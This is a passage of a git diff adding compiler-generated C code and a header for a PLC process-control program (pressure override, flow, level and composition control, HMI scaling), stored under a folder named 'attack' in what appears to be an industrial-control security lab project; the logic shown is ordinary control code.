__INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + 